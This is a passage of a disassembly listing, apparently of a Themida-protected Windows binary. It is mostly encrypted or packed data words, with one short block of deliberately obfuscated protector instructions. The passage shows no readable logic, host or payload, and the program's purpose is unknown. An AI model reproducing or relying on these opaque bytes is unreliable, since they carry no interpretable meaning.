		dd 0DD2F8Eh, 0B996E8D1h, 714EA01Fh, 0F8045665h,	0ED846A70h
		dd 9D98580Ch, 0F7C41236h, 73983E4Bh, 0F1E8876Dh, 0DB739B51h
		dd 8F3FAD89h, 93797F47h, 0A751F1E8h, 19B10ECAh,	4BDEE4EAh
		dd 3757E53Ah, 12CD3160h, 0E3D0DADh, 70B6628Ah, 5806BB8Eh
		dd 0F5FBC399h, 5806BC0Fh, 7ACCFB23h, 19A2C3D8h,	0E5BCF8D9h
		dd 4F27FF4Ah, 0D036654Dh, 38h, 0F9A513E7h, 0CBF4E4B1h
		dd 0CD90969Ch, 9B57E502h, 5D632B73h, 58060377h,	0CA34638Bh
		dd 995FEBC2h, 4EA03Eh, 8AB8DD1h, 94B65806h, 0D088DDF6h
		dd 0ED76F8D9h, 8D000000h, 34894A17h, 20DCFA05h,	64584D8Fh
		dd 0B864FCE9h, 0E5912CABh, 47C810DDh, 0F2DF5B41h, 0AF476F51h
		dd 717CAB03h, 9DAA5665h, 0FEF6C339h, 0B5BAA0A6h, 0A6CE51F2h
		dd 83291D4Fh, 1D6A3EBh,	677D8DBCh, 51F2B38Bh, 87D9E2F4h
		dd 0E38F2CAAh, 7DC569D7h, 689728B0h, 0CD215C62h, 0F2CF57E5h
		dd 7C911DE1h, 72323270h, 14F042DAh, 567D4AA6h, 0DD63BB67h
		dd 5806D8F7h, 34BE30Bh,	0FBAFD1FDh, 5808DF5Dh, 0A4E2B988h
		dd 638B0F3Eh, 34894E1Bh, 0EBD205E2h, 94735F0Dh,	76846E38h
		dd 1203h, 4566973h, 0BF11AC27h,	79CBF0E2h, 2E80399Ch, 0E5378651h
		dd 33A40CACh, 765B388Ah, 0C414F143h, 0ACCA9FBh,	0CB535FB1h
		dd 0CEDDFC5h, 91F8F358h, 0A6F8C512h, 0E9D001CEh, 9427AFBAh
		dd 987E844Ch, 0AC51F1E7h, 0E7E8CED4h, 0D4FC51F1h, 44FD0D3Ch
		dd 0B1F9A513h, 9E65DDDAh, 6796730Ah, 55985B61h,	1CE457E5h
		dd 6553016h, 0ED1C4458h, 0A58B9169h, 0B9580654h, 5D434991h
		dd 71580655h, 0BF05B149h, 580654DDh, 0F84C6E8h,	0F8D98456h
		dd 0C5A8h, 0C412BF00h, 0E85B4147h, 476F51F1h, 0E1F603AFh
		dd 740CAF27h, 0ECA682C8h, 471451F1h, 0F3FE2D90h, 0AE86D8E3h
		dd 4D360FE6h, 7F9421EFh, 0F25313F9h, 0D0FF2751h, 0FEAA11C5h
		dd 94DC84F2h, 0E5D8FFCCh, 6C3772B6h, 0BDE557E5h, 922BA875h
		dd 822E8D45h, 0FEBFB2Ah, 0AFB5FDA1h, 5DFB4094h,	0C592DA02h
		dd 0C564EC12h, 8935884Fh, 6602DA31h, 0F1BE069Eh, 0D72FDBE2h
		dd 1CBB98A8h, 75B3C3A1h, 442E3894h, 10EE36h, 6B548800h
		dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h,	0B9F7C1FAh
		dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h,	0EEF4DAE0h
		dd 0D08580Ch, 48C512A6h, 0F1E85C42h, 0B0487051h, 6655815Eh
		dd 0C4125B14h, 76434BF7h, 25305F5Ch, 0C094BB1h,	0BB0BF1F7h
		dd 0F71F51F2h, 9C8F9A0h, 90421F71h, 8928A86Ch, 0CA624846h
		dd 0F6C5111Eh, 842F86A4h, 0F39F1AB7h, 0F4626C9Bh, 0E8803B97h
		dd 3910D8A0h, 0CC2EC0B3h, 0E8CE54C7h, 0FC51F20Dh, 1661A5D4h
		dd 6257E528h, 327F3E95h, 64E817A4h, 64479B3Ch, 0ECAF8F7Ah
		dd 848AD27Eh, 55837B4Dh, 9D1EB481h, 16C2EA6Eh, 0ACF49C0Ah
		dd 7DC5F8DFh, 0A47B9177h, 4E7DA555h, 0FD754248h, 1F475B98h
		dd 0EFCC0AD7h, 0C4F9DAA7h, 2EA88595h, 0E1D1AF8Dh, 3A243AF5h
		dd 100A2Ch, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h
		dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh
		dd 4C58AA11h, 0EFD8BEC4h, 0F1EC580Ch, 47C4128Ah, 0B763587Ah
		dd 0E7F3D95Fh, 0DF0751F1h, 0CB774492h, 0C693DB73h, 157FAE0Bh
		dd 0ABF39B09h, 0E51566A5h, 6CD9A57h, 4398A2F8h,	28C05360h
		dd 71F5247Ch, 0AD1BF749h, 44B3B901h, 5A5DF964h,	5E408632h
		dd 695E1A45h, 0D5900B47h, 29F2C594h, 2Bh, 0F9A51340h, 5440ABB1h
		dd 264E57E5h, 0F8C711DEh, 0D601CEA6h, 0B4E33BE7h, 6348C70h
		dd 0FAC11558h, 0B20DCBA8h, 0F5DF806h, 134F0000h, 0E9B1F9A5h
		dd 5804B51Ch, 898DD100h, 0D957EAEBh, 0CAA169B1h, 8E7DEDh
		dd 341AA0C3h, 48580D8Ah, 0E6D21B61h, 1BB3551Fh,	9B50ACEh
		dd 0B47C82B1h, 618180DDh, 0E8172C89h, 70C2F9DDh, 0CC784393h
		dd 66AE52C0h, 51803F99h, 0B5DC454Bh, 0FFE65E06h, 0EFFC6CE5h
		dd 2C78CFC2h, 5566C5E9h, 0DDA22BAh, 0C8A0F2C9h,	0B0DFDAFBh
		dd 0DE8A31A5h, 74BC64D2h, 0F8DEE4ACh, 7B5E2891h, 9D3EBCBFh
		dd 375F25B5h, 0A265C408h, 0CD9641Bh, 40C4F3CCh,	5C503A18h
		dd 0CFB93275h, 0EC2C1h,	9728B400h, 526B6845h, 0CAF2300h
		dd 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h, 55328435h
		dd 0DEA3C83h, 94A0F2C9h, 0F120060Ch, 3934580Ch,	0E7F7D9D2h
		dd 0B48151F1h, 646E9D1Eh, 0FC024AF6h, 57EAEA9Bh, 68357DA5h
		dd 3D054D6Eh, 0CF556670h, 580CEBE9h, 96A6D5FDh,	0F29E1DB9h
		dd 80C878E6h, 4EAF0B8h,	18580CECh, 3E7DC1F0h, 0F45E0019h
		dd 0E5A6EECCh, 8D773890h, 0E467Fh, 13AC3000h, 0CEEFE4C1h
		dd 88339F7Ch, 3D7C5936h, 0F4C90EEBh, 614F69A2h,	18F54776h
		dd 0D1AE00B9h, 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Ch
		dd 0F7C4124Eh, 73983E4Bh, 0F1E8876Dh, 14BE9B51h, 0C1C70FA7h
		dd 51F1E8DBh, 832FC7EFh, 0A03B576Bh, 0FEEDECC5h, 86639h
		dd 71643100h, 0E1DCFB48h, 0C7AEDD35h, 0B1F9A513h, 0EAEC2DABh
		dd 0F1396157h, 7D54B224h, 7552A43Ch, 45125A61h,	73802C93h
		dd 56AE5A65h, 1D258FBEh, 0EB694F55h, 557D580Ch,	0EB00E226h
		dd 1886580Ch, 0DB1A2068h, 915E0018h, 0F8CDB3B9h, 0B9E15E20h
		dd 0F4521762h, 0BC547A54h, 9041C0DEh, 79877138h, 0D8Bh
		dd 7CCEF1EBh, 3789349Fh, 0F143785Ah, 0A6F8C114h, 5DAF0EC9h
		dd 0BB1C9424h, 0FED3B002h, 4C8C69BBh, 92442173h, 43CBD729h
		dd 0CF2573Dh, 9706B58h,	4BF7C412h, 0DB23983Eh, 0E8270D13h
		dd 133B51F1h, 646D7AE4h, 3A9CA955h, 0FF63D581h,	0F2065E43h
		dd 0EE2A3B50h, 0A8D4FEEDh, 0EB000007h, 0F1E7F7D9h, 21B48151h
		dd 0F15F6998h, 41FF054Dh, 0F557EAECh, 1EB885CDh, 9C734B9Dh
		dd 9CEBCE0Ah, 20D3C0Ch,	0D29FE7D4h, 0B30BB704h,	0A00E1A84h
		dd 63A2A8F0h, 195E00F9h, 59513F1h, 0C6B03890h, 0CEAB8h
		dd 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h,	506D6A47h
		dd 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h
		dd 0F2F8DEE4h, 110C580Ch, 0F7C412AAh, 0CCF1E2AFh, 0F8C31320h
		dd 2C121860h, 4051F1E8h, 727FE918h, 93AB5764h, 9DC8C37Fh
		dd 61FEEDEDh, 70Bh, 70498C59h, 563D6CC4h, 0B1F9A513h, 0EAEBE8ABh
		dd 468EB657h, 0C5E5D79h, 6814A72Fh, 0CEC4022h, 0F858C658h
		dd 0CEC0CF2h, 60F82058h, 19D31218h, 61895E00h, 90E52F83h
		dd 32402A38h, 0C53h, 0B406B923h, 6FC1FCD7h, 297B4092h
		dd 0DE30894Ch, 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h
		dd 5A7C59ABh, 7B030F61h, 0CF38F75h, 41A8A358h, 4BF7C412h
		dd 5F5C7643h, 0AB12530h, 1032465Eh, 0EDEDEA7Bh
		dd 68114FEh, 0D92B0000h, 51F1E7F2h, 0B009AF86h,	57D8DFD8h
		dd 4BB01E28h, 2E86328Dh, 0B9864E96h, 2F73A219h,	57EB048Fh
		dd 0E1C7CD95h, 0F5580D03h, 0F21A9ECDh, 0C2F9DDAAh, 78439370h
		dd 0AE52C0CCh, 50316066h, 7D455E00h, 21309177h,	371D235Eh
		dd 4B5E2131h, 57805D23h, 1B9FCE66h, 0AEA715F3h,	0DCC63890h
		dd 0BA6CEh, 0B30CD000h,	6E4F8461h, 28933F1Ch, 0DDDCF9D6h
		dd 9429AE8Bh, 1AF0942h,	0B895E7D6h, 714EA019h, 29065867h
		dd 0B0BC0EADh, 0F43C2228h, 5550580Ch, 0F7C412EEh, 64983E4Bh
		dd 2FB2DBD1h, 0DFC5CBC6h, 0F351F208h, 0EF9B33CBh, 0C379197Dh
		dd 8960A813h, 0FBB1EC50h, 0E6F6254Ah, 0ED57BDA8h, 12B41FEh
		dd 17580000h, 8834894Ah, 0E0F60130h, 0B4222FDBh, 0E0F2BF07h
		dd 4A4984DBh, 299C899Ah, 0A00EEAFAh, 0FA2A8F0h,	7D57E5A5h
		dd 0D4A1A955h, 488CBB04h, 58068466h, 0FE334F71h, 0D8907927h
		dd 93C20722h, 0D9083E27h, 46C0F8h, 17D70000h, 4957B840h
		dd 295855F8h, 0C50DB11Fh, 1A4E26FDh, 201780A3h,	0EDEAADF1h
		dd 693657E5h, 9C204F6Eh, 0A082C874h, 255806EDh,	53600CB3h
		dd 0E6EC3984h, 32D429D5h, 0A8CA9110h, 0EB74F1EAh, 848AF8D8h
		dd 0A1000000h, 4BF7C412h, 7824993Eh, 0A4506B6Bh, 2A7C3F97h
		dd 0F1342814h, 9625B151h, 0A6FA6844h, 0F213BAA0h, 0E2F1CE51h
		dd 3FD72FDBh, 0C0595FA7h, 2A57E6E9h, 0EAEDBA02h, 0DCA981D3h
		dd 8B96C5F6h, 3393714Ch, 4E3EA916h, 0A6D5664h, 0D3090000h
		dd 16BD9AECh, 5A7855A7h, 0A3320F61h, 0F0E7C416h, 76427BCDh
		dd 0CE209D3Ah, 87D9E0F1h, 3F912EAAh, 0F5477462h, 755B61E9h
		dd 89580CF5h, 0C512278Eh, 0DC9A6F8h, 12A35CAEh,	434BF7C4h
		dd 0CCA15D76h, 0A3851DF9h, 4954831Bh, 0FEDC2E8Dh, 493h
		dd 0FB401755h, 0EFFD8C11h, 36A4AEDDh, 5D3C428Ah, 5357E679h
		dd 360CE32Bh, 1E39D7DBh, 0D81E88B7h, 5806B4F6h,	775E2B01h
		dd 0E73E9642h, 0C4016B20h, 63B5E49Bh, 0A9B9AC27h, 0D8A5F8D9h
		dd 2C92C1FAh, 1ECh, 0E7E0D943h,	168451F1h, 0EFDC22B5h
		dd 2101D099h, 55D09A1h,	905D256Dh, 70C87445h, 0AC57FD41h
		dd 0EEB57EBh, 175FF7C4h, 3B64784Fh, 0A7A7197Dh,	6873595Fh
		dd 5F87580Dh, 0AB12530h, 2FDEF5C2h, 0D684329h, 972F5758h
		dd 5B7B5868h, 3AA8B460h, 19484E96h, 0AF5E00B4h,	4A27A987h
		dd 846E3890h, 97276h, 0E7D80400h, 0A21BB895h, 5C5F7350h
		dd 11A82D0Ah, 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h
		dd 5D3A8C33h, 0E4F04279h, 0F670565Ch, 8984580Ch, 42C41222h
		dd 0E7932B90h, 13BFFCDAh, 0E71D3DA1h, 3C7ACCEFh, 0FEEDF229h
		dd 13BD5h, 0C412EC00h, 13D8AFF7h, 0D897D468h, 717EE817h
		dd 28045665h, 0ED8757BAh, 0FCF1645Eh, 64451C64h, 0F74FD0Ah
		dd 11171D4Ch, 57E61B7Eh, 0DE9405ECh, 0B47BEC6Dh, 482A701Ch
		dd 5358078Eh, 0EB7A1131h, 13F8D847h, 33h, 0D140172Ah, 2048B2EFh
		dd 319FA9D8h, 27BF00D8h, 316D9DFh, 0BCE457E5h, 2E8CA10h
		dd 0D1F35806h, 0D64B1AB1h, 4613F8D9h, 2B832F8Ch, 0AF96FCh
		dd 12AD0000h, 269342C4h, 0B17E468Eh, 96EE9A21h,	0F1E82A10h
		dd 0E7163E51h, 5667707Dh, 82399DAAh, 1368633Ah,	196F9F39h
		dd 637380EAh, 612E0658h, 469E4A71h, 64D7D317h, 0B88551F1h
		dd 6772A11Ah, 22FA4C6Fh, 456E545Ah, 0D8FB51F2h,	1BE139E5h
		dd 4CBAC4F3h, 0BD565CA4h, 2757E71Ah, 22EFB7FFh,	35B07B4h
		dd 0AF0EC9D4h, 6657805Dh, 0A8E55288h, 5F6D573Eh, 837h
		dd 0D0229D3Fh, 8BDDE0F3h, 459724AEh, 0FA4C6D68h, 0B103BA1Dh
		dd 67704078h, 0AA270456h, 0F8E0BD0Fh, 3E9875C7h, 971F2B7Dh
		dd 0CF7AB91h, 5DC4BF58h, 0A6F8C512h, 5CAE0DC9h,	0F7C412A3h
		dd 23983E4Bh, 0F6C30EDBh, 64D9B7C7h, 30000002h,	0B1F9A513h
		dd 0EAEBABABh, 83CBF357h, 0EBCFB5BBh, 0BBE3580Ch, 0FADC228Ch
		dd 5580CEBh, 392CA7E3h,	0C5F8D2EEh, 201h, 0D4E5F0BDh, 0BAA1D028h
		dd 0F1E7E0D9h, 6A168451h, 0EC141C22h, 345C57EAh, 4B71FECh
		dd 0BA01D5B2h, 0AD2F060Eh, 0F56B3477h, 174697FCh, 2DD795C0h
		dd 1AF9DFE5h, 0E50D580Dh, 923EACB6h, 1DB5824Ah,	6B9AF29Eh
		dd 66F827h, 88668E5Eh, 3890985Ch, 6C697761h, 0A000007h
		dd 0BE9BEDD2h, 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh
		dd 219C3B75h, 0DADFF2CFh, 922DAB88h, 48736340h,	5C62EAF6h
		dd 580CF876h, 12288F8Ah, 3E4BF7C4h, 6A772398h, 843B9D67h
		dd 3CE880D8h, 6814A72Fh, 0F1F092F6h, 775A273Fh,	0E7A68C92h
		dd 92BA51F1h, 0C6ACB2FAh, 0DA51F1E7h, 113183B2h, 6EC0FBDBh
		dd 0EDF23530h, 13BC9FEh, 17E00000h, 534894Ah, 3420DCFAh
		dd 74700D84h, 1F2CD870h, 0EFBC04B7h, 0D52DD9E4h, 4CBA96A6h
		dd 0C3565CA4h, 3157E54Ch, 2C6D5359h, 59815806h,	400D15C1h
		dd 0B5F92891h, 58062BD3h, 59EBCDEh, 0F8D9A960h,	359Eh
		dd 0A513B500h, 7D299244h, 3F458D25h, 57E5037Ch,	6E76224Ah
		dd 0E9AC0897h, 9CB744DAh, 0FDBD14BEh, 0D01443A9h, 58062EEEh
		dd 20BBD7F9h, 0F8D9AB45h, 9FB9h, 0C412D000h, 0F4E2AFF7h
		dd 5EF6C312h, 0C12B5AB2h, 0EE9A23B4h, 225F0FE6h, 0A7640B86h
		dd 52696D78h, 7E3D99A6h, 250A162Ch, 3D351F2h, 1C8A66B8h
		dd 35552C74h, 0B6DBECB3h, 7E464C7Bh, 0EC9827B1h, 88216594h
		dd 0F257E7F3h, 0D6A9370Bh, 0DF77F8FBh, 0B00DCA97h, 6756815Eh
		dd 0A7FF6589h, 74826C3Eh, 61Fh,	0E83A8557h, 0A3F5C80Bh
		dd 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h,	923F1C6Eh
		dd 0E0F8D527h, 26B08DDFh, 0AF374395h, 0CF9C3A9h, 75DCD758h
		dd 0A6F8C512h, 0D8F90DC9h, 3EF749E1h, 0AFF7C412h, 0E7FBE1E7h
		dd 0E70F51F1h, 6F464EB8h, 0B7D2E613h, 0F90433F4h, 0AE8CDEDDh
		dd 3Bh,	0F7C41205h, 23983E4Bh, 4F6C6A77h, 7D4296A3h, 0B8DA7CD1h
		dd 0A36B8339h, 0F1E7B79Dh, 74A3CB51h, 0ACC6022h, 34E0D9FCh
		dd 1AF244DCh, 5181854Dh, 0CE66BE6Ah, 17939Fh, 12EA0000h
		dd 54BF7C4h, 51F1E822h,	36CE8CB0h, 0F1C91BA0h, 0DC0BB424h
		dd 0F7C412F5h, 2DD13F4Bh, 0EBDBDFE5h, 0DCA957EAh, 1296C5F6h
		dd 0DDAA2EAh, 0F149F5C4h, 9C1FB7C2h, 52696D4Ah,	842C9AA6h
		dd 0B027653Ch, 1E1EDDFAh, 1B72116Eh, 0D90813E8h, 0D664CDD3h
		dd 1FEC5E06h, 55D908B3h, 0B15D5E78h, 0F0C90C59h, 93431058h
		dd 1218E028h, 5E28D72Ch, 0D9E91840h, 2B31DAFCh,	5E28D745h
		dd 0CB805D2h, 6FC6EEB4h, 0BF9FDE46h, 1AD45BEh, 8FD787F5h
		dd 1B6A2A89h, 0F7C79E64h, 0C99A8EA5h, 7653D706h, 5CB4605Dh
		dd 61F9C40Fh, 754E7583h, 78867032h
dword_5B9F68	dd 4D7h, 30823D9Fh, 0EB3D8053h,	0A5F7C40Eh, 5AAC0DC8h
					; DATA XREF: Themida_:00554BD8o
		dd 11635A7Dh, 7D0E0D8h,	4A8764B6h, 98401D6Fh, 0DEF8D527h
		dd 0F77F8BDDh, 0CFB0BF1h, 0BD241F58h, 0A5F7C412h, 65AD0EC8h
		dd 0D17D3E98h, 0D3E04A79h, 0A870B803h, 0F1E7BCA2h, 79A8D051h
		dd 0BD859D0Fh, 0F1E7D1B7h, 8EBDE551h, 0F0E61E3Ch, 2A3B79CBh
		dd 0D4FEEDF2h, 4Bh, 0F9A513EBh,	0CDEEE4B1h, 949AC921h
		dd 0E554238Eh, 0F0E2AF57h, 98C71FCBh, 0D7A4EC14h, 566CBE01h
		dd 58063572h, 1AA53300h, 0DCE7166Eh, 250B11FAh,	39580635h
		dd 4F277911h, 349B8187h, 87AF5806h, 348B4D58h, 4257A88h
		dd 17D10000h, 1A8B4940h, 7EADDD0Dh, 0AC586373h,	0CED4379Fh
		dd 51F293E8h, 0EA3CD4FCh, 98734A12h, 8C5491Fh, 0CEF7DD63h
		dd 838951F2h, 51F2CE9Dh, 9BC389B1h, 4CF4626Ch, 206BFE04h
		dd 0B1D957E6h, 0A730FD05h, 0E3126A16h, 6FFBD9Fh, 27944258h
		dd 58656E7Bh, 0D00754ACh, 67CB41EDh, 0DDFFC62Bh, 0D63F26BDh
		dd 3CBFF8D8h, 0D6000000h, 32874A17h, 338BF903h,	3E437D5Ch
		dd 8D13E38Fh, 51F2E5A7h, 0B3FB93BBh, 0E600EAADh, 0F8DBB857h
		dd 3B812DC5h, 58070159h, 8B004264h, 0F8D8D8DAh,	9D20B784h
		dd 0C4086Eh, 121F0000h,	5B4147C4h, 6F51F1E8h, 0E7AB9197h
		dd 97BF51F1h, 0AEBB67FFh, 0DBE89429h, 714C0FBh,	849AECCFh
		dd 51F1ECA8h, 0A4F6C511h, 0E4D7FFCCh, 0A6B1E038h, 0D3DF8B30h
		dd 6B71B965h, 57E53DC8h, 19E62E56h, 0C0D0FFBEh,	82CA76E4h
		dd 0FAF4F97Ch, 0D9F8C55Dh, 52DB1E0h, 24E5F0BDh,	1CD4381Eh
		dd 8C244C5Eh, 4D8A575Dh, 7D5B2870h, 26031342h, 0D42E0CB1h
		dd 2538950Bh, 3052D3Bh,	6B710000h, 0AE250254h, 0F2E0BD0Fh
		dd 3B9A77C9h, 884F2C7Eh, 0EAAE335h, 368835A2h, 0EF417859h
		dd 0A7F9C612h, 5DAF0CCAh, 0DDC3C951h, 0F1580CFCh, 0C5128FF6h
		dd 7F2B8E43h, 7F478F27h, 0F1E79379h, 507FA751h,	48736340h
		dd 0A5133DF6h, 7FC8E23Ah, 851DF087h, 1374373Dh,	0F3C057E5h
		dd 63F21BE5h, 904E1033h, 0C5F44CF8h, 276D1941h,	5805FD45h
		dd 776C2E50h, 0F8D9DCEEh, 8934A370h, 0ECF45Ah, 1FEC0000h
		dd 15905B8h, 4F17EBD2h,	0F1E86349h, 3D9A7751h, 0E47CD480h
		dd 0D02CAAB5h, 10C229EFh, 50A7FFABh, 6E35FA6Ch,	45CE03FDh
		dd 2AE46DEh, 2FDBE2F5h,	0F2070DE9h, 0A6607651h,	8CE4902Dh
		dd 11C5A2F4h, 84F2FEAAh, 0F5CC94DCh, 0BCBEC16h,	0DF3F9A2h
		dd 2151F229h, 0BE1461F9h, 0CAF951FDh, 0E579E386h, 2C8A7157h
		dd 0C1FCD71Bh, 15EF756Ah, 7C532B7Dh, 0B5D46413h, 997F85D6h
		dd 0AD580675h, 31A0ED85h, 5584DC88h, 0E931DD4Bh, 0FB49BFE3h
		dd 0DF274F5Dh, 0A6F8C512h, 0D1AF0EC9h, 3894B53Bh, 0E0DAE8D2h
		dd 96000001h, 4A277946h, 5E23489h, 0BF9CEECDh, 7451A316h
		dd 0CF085A63h, 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh
		dd 0E8EE7682h, 580CFE02h, 17B41B16h, 0E728E4Ah,	42EDDBA4h
		dd 0EF47F38Bh, 9B22B5C0h, 516A6C49h, 0C41246FFh, 983E4BF7h
		dd 31F9D123h, 0F1E8452Bh, 0DA315951h, 707778BAh, 0F601305Ch
		dd 0BC93DBE0h, 52EA0C09h, 52383EA8h, 6651F220h,	0D77A63Eh
		dd 9C369301h, 656B731Fh, 51F2207Fh, 3BD36B93h, 4002EDF3h
		dd 0C68E57E5h, 63FDAC0h, 0DD07EE58h, 7305348Ch,	5ADE0DA5h
		dd 8F318632h, 6E9D39F3h, 61A8268h, 0F9C40F58h, 6F555B33h
		dd 8358061Ah, 0D92BC35Bh, 97DF8FFDh, 0F9666E91h, 28D4FC5Dh
		dd 8B4BBB1Bh, 767C8430h, 5E1A4690h, 4CE47CA4h, 84C62AA0h
		dd 135B0371h, 0D93EA0Dh, 0FE507864h, 0BE06B521h, 740AF0F6h
		dd 0F61E642Eh, 88505DC7h, 94368B37h, 23983EF6h,	0D787F5D1h
		dd 0A916C28Fh, 7076A5FDh, 21947F6Ah, 1D658D6Ah,	35305646h
		dd 166E1AA1h, 0E2C942BFh, 9A3C49B3h, 0B850696Ch, 7515B70Ch
		dd 66AE52C0h, 0B504D19Eh, 0E0D9FC09h, 0EAD51948h, 0F870359Eh
		dd 34A27ED0h, 5E77448Ch, 9EBFA5ABh, 0ABD37056h,	0E00F6713h
		dd 0A17FD4DAh, 4971764Fh, 7546909Dh, 537E4B23h,	3362BA66h
		dd 610DAE28h, 20A08259h, 0DA318C4Bh, 0E1F2CA0Bh, 0D11544DCh
		dd 8E4A075Dh, 43EFCC06h, 711DA236h, 0B10ACC19h,	4C0EB005h
		dd 3753B76Dh, 90E2D9FDh, 509823B3h, 0C06C4F83h,	0E5CCB2B8h
		dd 0B8E0AEABh, 7A87F120h, 0C2A8AE5Bh, 4FAEABE5h, 348C3883h
		dd 2AE466Eh, 0B54F0BADh, 6B489A21h, 413A916Bh, 2B4395E7h
		dd 10D9E793h, 11000000h, 65567C49h, 0AB88F9DFh,	0B6E50DAEh
		dd 127DE4CFh, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
		dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h,	33B86459h
		dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 0D9685C24h
		dd 89000064h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 75862EBEh
		shr	esi, 1
		add	esi, 71F04C96h
		xor	esi, 0AAA866F3h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0DBh, 0E1h, 6Ah
		dd 1B1889B8h, 0FFC50306h, 0DE7352E0h, 95C42B02h, 0F226FC66h
		dd 6E0BA671h, 7F452E7Bh, 0DFF5F66Bh, 0D1421908h, 665DB95Dh
		dd 3ACC0802h, 1787D614h, 0EB1013h, 59F79E73h, 7116451Fh
		dd 0E2D23A2Bh, 0A1288F7Fh, 4871F763h, 0C7843A4Fh, 4DFE5917h
		dd 7EAA0E7Bh, 0A0379444h, 5CC6B329h, 5E87Ah, 882E0000h
		dd 8B5C2444h, 81F85ECBh, 5B1AC6h, 5E900h, 0DE210000h, 33AF8643h
		dd 8E8DBh, 0D1960000h, 11C11FA1h, 0FE9D567h, 0F6000000h
		dd 44BE2D0Dh, 2AFE02h, 0D262860Ch, 0FF5802ABh, 815F3334h
		dd 1F3BBBEFh, 0EF81F55Ah, 0BE943C9h, 0F781B2B2h, 2452A450h
		dd 665760B4h, 48FCE8Bh,	12B7B91Eh, 8B662346h, 0DFEB81C7h
		dd 8132619Dh, 7CFFC7C0h, 0DBC38110h, 0BA32619Dh, 355D384Eh
		dd 0A570FB81h, 850FFFFFh, 0FFFFFFB3h, 1B01BA66h, 0DE8h
		dd 2CAD3100h, 4D64CB70h, 238199BCh, 0BF0F8F86h,	0BE665BF3h
		dd 0C381DE5Dh, 5A0Ch, 5E6392BEh, 1656BA72h, 0C0800000h
		dd 0E93B8BCFh, 8, 5EE187D9h, 60F89E4Dh,	0CF09C781h, 0C781301Bh
		dd 7DCBFE4Ah, 0BC88166h, 0C5EF81D5h, 0E9449A12h, 0Ch, 70155674h
		dd 0D7BCE37Ah, 0FD99D02Dh, 0BF0F3B89h, 0C3EB81C0h, 0FC17ABCAh
		dd 0CABFC381h, 0EE917ABh, 0C3000000h, 3F4C4EA8h, 53C1D1B6h
		dd 771AC9B5h, 1EA810Eh,	0F000000h, 0E85h, 31B96600h, 1FE9CAh
		dd 0AD8F0000h, 0B03243EAh, 0FF83E94Fh, 0D263FFFFh, 53080C02h
		dd 72FA1032h, 0F2C6C4F8h, 7798089Bh, 3F8D8D7Ch,	0F061B1Bh
		dd 8D89C3BFh, 6143229h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 39C35242h, 2B7DFB62h,	0D20F0671h, 30D9B531h
		dd 85C70614h, 614064Dh,	5EA4h, 0E9EB8166h, 7185C711h, 61426h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0E3A6C351h, 0F81CCB48h, 2E91B5FFh
		dd 76B20614h, 236195FFh, 6AF80614h, 6995FF00h, 8B061411h
		dd 0D10BEBC0h, 2E05A293h, 0A109449Bh, 19E952E7h, 0C1000000h
		dd 6B227Fh, 5 dup(0)
		dd 48EE9h, 1CAE6800h, 0A4E9061Bh, 68FFF962h, 61B1D17h
		dd 0F9629AE9h, 1E4E68FFh, 90E9061Bh, 0A2FFF962h, 5633853Ah
		dd 11EE407Dh, 0CBA8FAC1h, 805DAF0Ah, 0DB146657h, 0B904D3DDh
		dd 72478A67h, 2A954320h, 0E0DBFBD8h, 0F4FA828Eh, 580D030Eh
		dd 0D4A12722h, 0B70FBB04h, 4F17A188h, 0F1E86349h, 204F7751h
		dd 8D46C215h, 83509830h, 85F1AA54h, 73D9F752h, 0A8D72FDBh
		dd 16A5313Eh, 0D67AE8C4h, 0A716C18Eh, 0A073595Fh, 5F8751F2h
		dd 65242A30h, 9957E5D5h, 84B30CCCh, 0C390D800h,	0A3FBA712h
		dd 0E2C40A74h, 0ED5806B4h, 0E5584017h, 0F028D029h, 1ED36FC1h
		dd 9F6A5056h, 567E5806h, 3AAABB27h, 0A354F8D9h,	6B000002h
		dd 0AD26BD1h, 0F1E81E04h, 0DB0A3251h, 73BB63D1h, 0C6F3DEABh
		dd 2085397h, 875457E5h,	0BD41704Bh, 35A0F495h, 0BDB52868h
		dd 0C8B7E04Fh, 0D783389Ah, 0A64E287Fh, 1B81966h, 1D65FD55h
		dd 5E51F017h, 0B25E865Bh, 408838A6h, 912CAB78h,	6D291E62h
		dd 335B6172h, 44B81EEBh, 0AA2BF540h, 8F20B80Fh,	0BE96E880h
		dd 29D5E4F1h, 3F97A2D1h, 0B3E49E7Ch, 2B15351Eh,	2AA1Dh
		dd 0A31CC000h, 5E5F7451h, 18A32F0Ch, 0CDECE9C6h, 84399E7Bh
		dd 0F1BFF932h, 0A885D7E6h, 613E9029h, 19F64877h, 0A0ACFEBDh
		dd 42C1218h, 4540580Dh,	0F9A513DEh, 261ABB1h, 52D57EAh
		dd 0D6E7F0BDh, 0DD30A784h, 0D02F1D7h, 45DD0558h, 0F37A26FDh
